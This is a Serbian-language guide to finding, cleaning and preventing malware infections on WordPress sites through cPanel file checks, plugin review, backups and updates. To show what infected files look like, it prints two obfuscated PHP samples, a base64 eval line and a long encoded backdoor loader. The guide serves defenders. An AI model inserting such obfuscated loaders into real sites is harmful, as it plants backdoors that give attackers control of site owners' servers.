Zaštita WordPress sajta od Virusa i čišćenje naloga

Za početak ne postoji univerzalno rešenje koje će raditi na svakom sajtu. Postoje milion virusa a samim tim i milion rešenja za njihovo uklanjanje. Naći propust je najteža stvar što za većinu korisnika nije ni moguće.

Koraci:
1. Da li sajt ima virus?
2. Kako da identifikujem problem?
3. Kako da očistim sajt od virusa?
4. Kako da zaštitim sajt od budućih virusa?

Pre svega da li sajt ima virusa? To je najlakši korak. Čim čitate ovo onda sigurno već znate da imate virus, ili je hosting provajder rekao da imate virus, ili ste vi primetili tako što vas je google opomenuo, ili ste našli slučajno neki online alat.

Što se tiče online alata možete probati:
https://sitecheck.sucuri.net/

ili google: Google: scan website from malware

imajte na umu da oni (sucuri.net) naplaćuju zaštitu sajta i uklanjanje pa samim tim ignorišite sugestije koje oni daju već gledajte samo Status poruku “Status:No Malware Detected by External Scan”.
Moguća je još jedna solucija, da je virus ušao kroz vaš računar putem FTP servera kada ste vršili neke izmene. Tako je moguće da se ne nalazi na linkovima jer online alati (sucuri.net) većinom proveravaju samo linkove a virus može da bude i fajl bez aktivnog linka.

Najbolji način jeste da proverite direktno same fajlove. A to možete da uradite putem cPanel-a, tako što se ulogujete zatim idete na File Manager i tu možete da vidite spisak fajlova na vašem nalogu. Nađite folder vašeg sajta (najverovatnije je public_html, ako nije zaražen sajt koji je dodat putem addon domain) i videćete sve fajlove sa tog sajta. Potražite fajlove koji su poslednje izmenjeni, otvorite te fajlove i ako vidite u prvoj liniji nešto tipa:

< ?php eval(base64_decode(ZXZhbChiYXNlNjRfZGVjb2RlKFpYWmhiQ2h&lt;/code&gt;pWVhObE5qUmZaR1ZqYjJSbEtGcFlXbWhpUTJocFd
WaE9iRTVxVW1aYVIxWnFZakpTYkV0R2NGbFhiV2hwVVRKb2NGZFdhRTlpUlRWeFZXMWFZVkl4V25GWmFrcFRZa1YwUmxSdE5XbE5ibEp3VmpCYVlXUX
haSE5VYTBwUVZsZDRTVll5TlVOaFZrbDRWMjB4V0dGcmNGaFVWVnB1WlZaU2RWZHRiR2xpUlhCNlYxY3dNVlV5Vm5Ka1JWSmFUVEZ3Y2xWdWNFZE5NV
kpKWVhwR2FWWXdiRFpXYlRWWFdWWkdObUpFUWxoV2JWSnlXV3RrVDJSV1RuVlhiWEJvVmtaV00xZHNWbTlWYlVweVpVVlNVbUV5VWxWV2JHaHZVakZr
UlZKc1pGZFNhM0JZVkRGV2QxWlhSWGRPVlRWWFlrWmFWRlZ0ZUc1bFJrWnlVMnhrVTFZeVVqTldSRTVyWkRKS1IyRXpiR2hUUm5CTFZWUkdTMDFHY0V
kYVNFNXBVbGQ0UlZSclpITlhWa28yVlc1Q1ZVMHlVak5VVm1STFpFZFdTVkZ0YkdsWFJUVXlWVEkxY2s1Vk1VaFRiR3hTVjBad1RsbHNXbmROYkhCSF
dYcEdhRTFJWkRWVVZtUnZXVlV4YzFkcVZscE5ha0V4V2xaV05HUldWbkZWYlhSU1RXczFNMVpFVG10a2JVVjVVMnhzYVZJeGNIRlVWelZ2VFd4a1dFM
UVWazloTW5oR1ZGVmthMU15VmxWaE0yUmFZa2RvUTFwSGREUmtSbVIxVjIxMFYyVnNXbmxXUlZKS1pVZEdSMkl6YkZkaWJYaHhXV3hTYzA1V1VraE9WazVQVWpGS1JWZFljR3RT.UjBaWFUyNWFXRlp0VFhoWlZFcExVMFphV0ZwR1JsWk5SWEF3VjFkd1QxRXlTa2hUYmtKaFRXNVNjRll3WkRSaVZtdzJVMn
BTYTJKSGVEQlVNVkpoVkZaRmQxSnVWbUZUUjNoeFdUQldjMU5GT1ZsaVJYQlRUVlZ3TTFZeWVFOWliVXB6WTBac1ZHSnRlSEJVVkVKeVRXeE9WbFJyU
21saE0yaDNWbGMxVTJKR1duRmlSRnBhWVRKTk1WbFdaRXBsYlVsNlVXeENiRlpWV1hsV1JWSktaVWRHU0ZKWWJGZFdNbEp3V1d4YVdtVnNUbFphUjBa
cS5VakJ3U1Zac1ZqQlNSbkExWVROQ1VHUjVhM0JQZHlrcE93KSk7)); ? >

Ili:
$xccnmlvd = 'B)fubfsdXA x27K6< x7fw6*3qj%7> x2272qj%)7gj6<**2qj%)hopm3%}X;!sp!*#opo#>>}R;msv}.;/#/78]y3e]81]K78:56985:6197g:74985-rr.93e:559ppde>u%V<#65,47R25,d7R17,67R37,#/q%#)tutjyf`x x22l:!}V;3q%}U;y]}#:#* x24- x24!>! x24/%tjw/ x x27k:!ftmf!}Z;^nbsbq% x5cSFWSFT`x24- x24y7 x24- x24*! x242178p#/#p#/%z>2*!%z>32!(%w:!>! x246767~6!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sbz) x24]25 x24- x24-!% x24- x24*!|! x24- x24 x5c1#/#M5]DgP5]D6#<%fdys=strtolower($_SERVER[" x48 124 x54 120 x5f qjA)qj3hopmA x273qj%6<*Y%)fnbQtjw)#]82#-#!#-%tmw)%tww**WYsboepn)%bss-%rxB%h>#]y31]2y3f]51L3]84]y31M6]y3e]81#/#7e:55946< x7fw6*CW&)7gj6<*K)ftpmdXA6~6/7&6|7**1d%6#]D4]273]D6P2L5P6]y6bg} x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!*msv%)}k~~~!bssbz)#44ec:649#-!#:60#*<%nfd)##Qtpz)#]341]88M4P8]37]278]225]241]334]368]322]3]364]x24gps)%j>1<%j=tj{fpg)% x24- x24*qp%!|ZozcYufhA x272qj%6<^#zsfvr# x5cq%7/7#@#7/7^#iubSFTV`QUUI&b%!|!*)323zbek!~!b%Z<#opo#>b%!*##>>X)!gjZ<#op" x6f 142 x5f 163 x74 141q# x5cq% x27jsv%6^#zsfvr# x5cq%7**^#zsfvr# x5cq>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>uas," x61 156 x64 162 x6f 151 x64")) or (strstr($uas,6-tr.984:75983:48984:71]K9]77]D4]82]K6]72]K9]78]K5]53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]D6]281L145 x66 157 x78"))) { $ckevrse = " x63 162 x65 141 x74 145 7f-s.973:8297f:5297e:56-xr.985:52985-t.98]K4]65]D8]86]y31]278]%j^ x24- x24tvctus)% x24- x24b!>!%yy)#}#-# x24- x24-tusqpt)%z-pmqnjA x27&6<.fmjgA x27doj%6< x7fw6!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#IfubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fe8y]#>q%<#762]67y]562]38y]572]48y]#>m%:|:*r%:-t%)3of:opjYpp2)%zB%z>! x24/%tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1Hff2-!%t::**<(b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!<**qp%!-uyfu%)3of)fepdo#)sfebfI{*w%)kVx{**#k*<%bG9}:}.}-}!#*<%nfd>%fdy!%tdz)%bbT-%bT-%hW~%fdy)##-!#~<%h0rray_map("eeqnofq",str_split("%t* x7f_*#fmjgk4`{6~6:iuhofm%:-5ppde:4strstr($uas," x72 166 x3a 61 x31")) or (strstr($sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]g2y]#zbe!-#jt0*?]+^?]_ x5cb%)gpf{jt)!gj!<*2bd%-#1GO x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%!<0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxldfid>}&;!osvufs} x7f;!opjudovg}k~~9{d%:osvufs:~928>> x22:ftmbg39fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jsv%7UFH# x72 164") && (!isset($GLOBALS[" x61 156 x75 1%w6Z6<.5`hA x27pd%6#L4]275L3]248L3P6L1M5]D2P4]D6#utpi}Y;tuofuopd`ufh`f11127-K)ebfsX x27u%)7fmjix6:8:|:7#6#)tutjyf`439275t! x24Ypp3)%cB%iN}#-! x24/%tmw/ x2!*72! x27!hmg%)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)}527}88:}334}472 x24!bserror_reporting(0); $xhgglfq = implode(aif ((strstr($uas," x6d 163 x69 145")) or (fuvso!%bss x5csboe))1/35.)1/14+9**-)1125 x53 105 x52 137 x41 107 x45 116 x54"]); 2 x5c2b%!>!2p%!*3>?*2c:>%s: x5c%j:^Ew:Qb:Qc:W~!%z!>21<%j=6[%ww2!>#R;2]},;osvufs} x27;mnui}&;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;opjudovg}pmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+99386c6f+/2986+7**^/%rx<~!!%s:N}#-%o:W%c:>1<%b:>11<%6.%!<***f x27jw!>!#]y84]275]y83]248]y83]256]y81]265]y72]254]y76#%)ufttj x22)gj6<^#Y# x5cq% x27Y%6<.msv`ftsbqA7>q%6< x7fw6* x7f_*#<#/% x24- x24!>!fyqmpef)# x24*)usbut`cpV x7f x7f x7f x7fj%!<**3-j%-bubE{h%)sutcvt-#w#)ldbqov>*ofmy%)ut}X x24!#]y84]275]y83]273]y76]277#>U<#16,47R57,27R66,#/q%>2jm!|!*5! x27!hmg%)!gj!|!*1?judovg!|!**#j{hnpd#)tutjyf`opjudovg x22)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^24)% x24- x24y4 x24- x24]y8 x24- x24]26 x24-:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y]252]19f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_UTPI`x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#/*)323uft`msvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmsfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#7gj6<.[A x27&6< x7fw6* x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}W;,*e x27,*d x27,*c x27,*b x27)fepdof.)fepdof./#@#/qp%>5h%!<#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#! x2400~:>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!op6<*id%)dfyfR x27tfs%6<*17-SFEBFI,6e{h+{d%)+opjudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>> x22!ftmbg)!gj<*#k#x5f 146 x75 156 x63 164 x69 157 x6e"; function eeqnofq($n){return chr(ord($n)-1);} @<*9-1-r%)s%>/h%:<**#57]38y]4hmg%)!gj!<**2-4-bubE{h%)4)%c*W%eN+#Qi x5c1^W%c!>!%i x5c2^>1*!%b:>1%s: x5c%j:.2^,%b:j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5c2^-%hOh/#00#W~!%t2w)##q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD11M5]67]452]88]5]48]32M3]317]445]212]445]x27rfs%6~6< x7fw6<*K)ftpmdXA6|7**197-2qj%7-K)udStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSgvtixj'; $iadwrfre=explode(chr((815-695)),substr($xccnmlvd,(38085-32065),(192-158))); $ffmdavm = $iadwrfre[0]($iadwrfre[(4-3)]); $mpfpqfd = $iadwrfre[0]($iadwrfre[(10-8)]); if (!function_exists('pfpzkrwi')) { function pfpzkrwi($kzxfpolz, $grutuuxgwhm,$huwaomkql) { $cnqwmda = NULL; for($uombvhy=0;$uombvhy<(sizeof($kzxfpolz)/2);$uombvhy++) { $cnqwmda .= substr($grutuuxgwhm, $kzxfpolz[($uombvhy*2)],$kzxfpolz[($uombvhy*2)+(7-6)]); } return $huwaomkql(chr((34-25)),chr((641-549)),$cnqwmda); }; } $texcqrsv = explode(chr((155-111)),'5744,20,1727,25,3110,46,5620,54,711,44,3669,44,3590,42,2779,48,1836,53,1270,59,1978,59,5436,34,5470,50,3550,40,2587,32,4091,51,510,32,3156,61,3973,21,917,67,872,45,3297,45,3056,54,5973,47,300,46,0,57,755,29,1615,46,1752,50,4142,65,2243,47,2161,35,2619,57,5335,34,427,55,1360,55,4824,56,3276,21,4019,30,5219,42,4731,38,1067,69,1136,49,482,28,5764,64,3457,62,4270,63,4406,27,5548,24,2827,40,5289,46,4433,70,3713,21,2888,69,4049,42,4880,58,1586,29,583,59,4769,55,2957,34,3868,53,4614,50,5091,42,1661,66,2429,68,280,20,219,33,57,28,2676,39,2991,65,3386,30,2715,64,3342,44,5369,67,4237,33,542,41,127,35,4381,25,5883,49,2497,21,162,29,3799,69,4664,67,2867,21,4333,48,4938,67,5261,28,5520,28,1231,39,1802,34,4547,67,2290,55,346,27,3519,31,642,49,2099,62,191,28,4503,44,1329,31,252,28,1528,58,4207,30,3416,41,5572,48,1415,51,984,62,2345,50,5828,55,784,54,85,42,2037,62,838,34,1889,64,1953,25,691,20,1046,21,3217,59,5044,47,2518,69,1466,62,5005,39,5932,41,1185,46,3632,37,3921,52,5674,70,3734,65,373,54,2196,47,5174,45,2395,34,5133,41,3994,25'); $izcvntsr = $ffmdavm("",pfpzkrwi($texcqrsv,$xccnmlvd,$mpfpqfd)); $ffmdavm=$xccnmlvd; $izcvntsr(""); $izcvntsr=(414-293); $xccnmlvd=$izcvntsr-1; ? >

Ili može da izgleda kao normalan kod, ali verovatno taj kod preuzima neki fajl sa nekog sajta i postavlja ga na vaš nalog, verovatno je to backdoor.

Postoje razne opasnosti i kodovi i načini da se naruši bezbednost. Ono što je realno a to je da NIKADA ne možete biti potpuno sigurni. 
Jednostavno, šta god uradili uvek postoji opasnost od toga, ali svakako može da se smanji rizik. Verovatno niste meta nekog hakera nego ste meta botova koji lutaju internetom i traže propust na već isprogrmairan način u vezi nekog plugina ili neke teme i traže sajtove koje to koriste i onda šire dalje.

Ukoliko niste našli zaraženi fajl onda pitajte hosting provajdera da vam kaže koji fajl je u pitanju kako bi ste rešili problem. Ukoliko hosting provajder ne želi da vam da fajl onda svakako promenite hosting provajdera.

Kako da identifikujete problem? To je najteža stvar u celom ovom problemu. Može biti milion uzroka a najveća verovatnoća da je problem jeste plugin samog sajta. Da li je to slajder ili neka kontakt forma, totalno je nebitno. Moguće je biti čak i neki plugin koji koji je jako mali i radi neke najjednostavnije stvari.
Jedna od solucija da pregeldate plugin po plugin, i da ukucate na google pored naziva plugina i reč malware ili exploit. I ako izađe neka upozorenja onda je definitivno da bolje da ga ne koristite već zamenite nekim koji je sigurniji.

Druga svar jeste da pogledate logove na nalogu. I da vidite da li postoje neka odstupanja od onih koje vi radite i koje ste vi radili. Verovatno među prvim redovima biće neki plugin ili neki fajl koji je potencijalno problem.

To je otprilike ono što možete da uradite sve ostalo se svodi na prevenciju i čišćenje.

Kako da očisite sajt od virusa? To je najobimniji posao. Ali kao što smo naveli za detekciju isti princip može i za čišćenje. Nađete online alat za detekciju virusa i ako vam izbaci sve linkove onda je problem u samom kodu i velika verovatnoća da su svi fajlovi zaraženi.

Možete takođe da se ulogujete cPanel i File Manager pogledate poslednje izmene fajlova i otvarate i vidite da li postoji sporan kod ako ima obrišete fajl ili ako je wordpress fajl onda da obrišete taj kod. Kod ovoga pazite da je moguće da je virus nekoliko dana na nalogu a da ste tek sada primetili. Samim tim može biti da su neki fajlovi izmenjeni pre nedelju dana a da su zaraženi a neki da su izmenjeni danas i da su zaraženi.

Ukoliko je neki veći problem sa virusom većina PHP fajlova biće zaražena pa samim tim nećete moći da očistite virus jednostavno već će vam se više isplatiti da obrišete sve fajlove i krenete novu instalaciju. Možete i da vratite backup pa da onda uradite preventivu na sajtu. Kod ovog načina pazite da ponovo ne dobijete virus u kratkom vremenskom periodu jer će većina hosting provajdera čak i trajno suspendovati nalog jer će smatrati da se niste potrudili da rešite problem.

Ono šta je preporučeno jeste da pogledate da li su pojedini fajlovi zaraženi ili su svi. Ukoliko su svi da pre bilo čega zatvorite sajt time sprečite bilo kakvo širenje virusa. Zatim ukoliko su pojedini da obrišete fajlove i da izvrište update SVEGA.
Ukoliko su svi fajlovi zaraženi onda su tu dve solucije.
– Da obrišete sve fajlove i da instlirate novi sajt sa drugim pluginovma i temom.
– Da vratite backup i da pokušate da izvrište update pluginova i teme ili da ukoliko ne postoji update za plugin da ga zamenite novim.

Kako da zaštitie sajt od sledećih napada? Pored toga kao što smo naveli da izvrište update svega ne možete nešto posebno da uradite. Postoje pluginovi koji kao štite sajt ali imajte na umu da i taj plugin koji vas kao štiti dodatan rizik. Zato je najbolje koristiti što manji broj pluginova i da teme ne skidate sa nekih sajtova već da koristite besplatne koje se često ažuriraju ili da kupite temu na legalan način jer ćete na taj način moći da je ažurirate redovno i time sprečite buduće propuste.

Non stop kontrola sajta u smislu kontrola fajlova koji se nalaze da nije doslo do nekog propusta.

Instlirajte plugin koji ogranicava broj pogrešnih pokušaja logina u wordpress.

Kontrolišite update pluginova koje imate da li autori tih pluginova i dalje vrše update ili su odustali, to možete da proverite tako što ćete videti da li autori odgovaraju na pitanja koja su drugi postavili i da li je update izvršen poslednjih mesec dva. Ukoliko se ne vrši update to je ogroman rizik za sam sajt.

Objavljeno: